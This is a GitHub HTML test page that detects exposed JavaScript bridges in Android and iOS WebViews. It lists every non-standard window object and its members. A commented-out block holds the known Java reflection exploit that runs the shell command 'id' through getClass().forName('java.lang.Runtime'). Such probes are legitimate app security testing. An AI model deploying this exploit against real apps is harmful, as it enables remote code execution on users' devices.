-
Notifications
You must be signed in to change notification settings - Fork 15
/
webview.html
69 lines (62 loc) · 3.86 KB
/
webview.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<meta charset="UTF-8">
<title>webview jsbridge检测</title>
<script type="text/javascript">
// function getContents(inputStream)
// {
// var contents = "";
// var b = inputStream.read();
// while(b != -1) {
// var bString = String.fromCharCode(b);
// contents += bString;
// contents += "\n"
// b = inputStream.read();
// }
// return contents;
// }
function check() {
var origin = 'caches,localStorage,sessionStorage,webkitStorageInfo,indexedDB,webkitIndexedDB,ondeviceorientationabsolute,ondeviceorientation,ondevicemotion,crypto,stop,open,alert,confirm,prompt,print,requestAnimationFrame,cancelAnimationFrame,requestIdleCallback,cancelIdleCallback,captureEvents,releaseEvents,getComputedStyle,matchMedia,moveTo,moveBy,resizeTo,resizeBy,getSelection,postMessage,find,blur,focus,getMatchedCSSRules,close,webkitRequestAnimationFrame,webkitCancelAnimationFrame,ontouchstart,webkitCancelRequestAnimationFrame,ontouchmove,ontouchend,ontouchcancel,btoa,onpointerup,atob,onpointerover,setTimeout,onpointerout,onpointermove,clearTimeout,onpointerleave,onpointerenter,onpointerdown,setInterval,onpointercancel,clearInterval,createImageBitmap,onorientationchange,scroll,orientation,scrollTo,scrollBy,customElements,onauxclick,performance,fetch,onunload,onunhandledrejection,console,onstorage,getContents,onrejectionhandled,onpopstate,check,onpageshow,onpagehide,ononline,onoffline,onmessage,onlanguagechange,onhashchange,onbeforeunload,onwaiting,onvolumechange,ontoggle,ontimeupdate,onsuspend,onsubmit,onstalled,onshow,onselect,onseeking,onseeked,onscroll,onresize,onreset,onratechange,onprogress,onplaying,onplay,onpause,onmousewheel,onmouseup,onmouseover,onmouseout,onmousemove,onmouseleave,onmouseenter,onmousedown,onloadstart,onloadedmetadata,onloadeddata,onload,onkeyup,onkeypress,onkeydown,oninvalid,oninput,onfocus,onerror,onended,onemptied,ondurationchange,ondrop,ondragstart,ondragover,ondragleave,ondragenter,ondragend,ondrag,ondblclick,oncuechange,oncontextmenu,onclose,onclick,onchange,oncanplaythrough,oncanplay,oncancel,onblur,onabort,isSecureContext,onwheel,onwebkittransitionend,onwebkitanimationstart,onwebkitanimationiteration,onwebkitanimationend,ontransitionend,onsearch,onanimationstart,onanimationiteration,onanimationend,styleMedia,defaultstatus,defaultStatus,screenTop,screenLeft,clientInformation,devicePixelRatio,outerHeight,outerWidth,screenY,screenX,pageYOffset,scrollY,pageXOffset,scrollX,innerHeight,innerWidth,screen,external,applicationCache,navigator,frameElement,parent,opener,top,length,frames,closed,status,toolbar,statusbar,scrollbars,personalbar,menubar,locationbar,history,location,name,document,self,window,TEMPORARY,PERSISTENT,addEventListener,removeEventListener,dispatchEvent';
var u = navigator.userAgent;
var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Linux') > -1;
if(!isAndroid){
document.write('IOS:<br>');
if(window.OCModel == undefined){
alert('no uiwebview')
}else{
for (var o in window.OCModel) {
document.write(o+':<br>');
}
}
if(window.webkit == undefined){
alert('no wkwebview')
}else{
for (var o in window.webkit.messageHandlers) {
document.write(o+':<br>');
}
}
return;
}
for (var obj in window){
if(origin.indexOf(obj)<0){
document.write(obj+':<br>');
for (var o in window[obj]) {
document.write(' '+o+'<br>');
}
}
}
// document.write('<br>dangerous:<');
// try {
// if ("getClass" in window[obj]) {
// alert(obj);
// try{
// window[obj].getClass();
// document.write('<b>'+obj+'</b><br>');
// var p = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(["id"]);
// document.write(getContents(p.getInputStream())+'<br>');
// }catch(e){
// }
// }
// } catch(e) {
// }
}
check();
</script>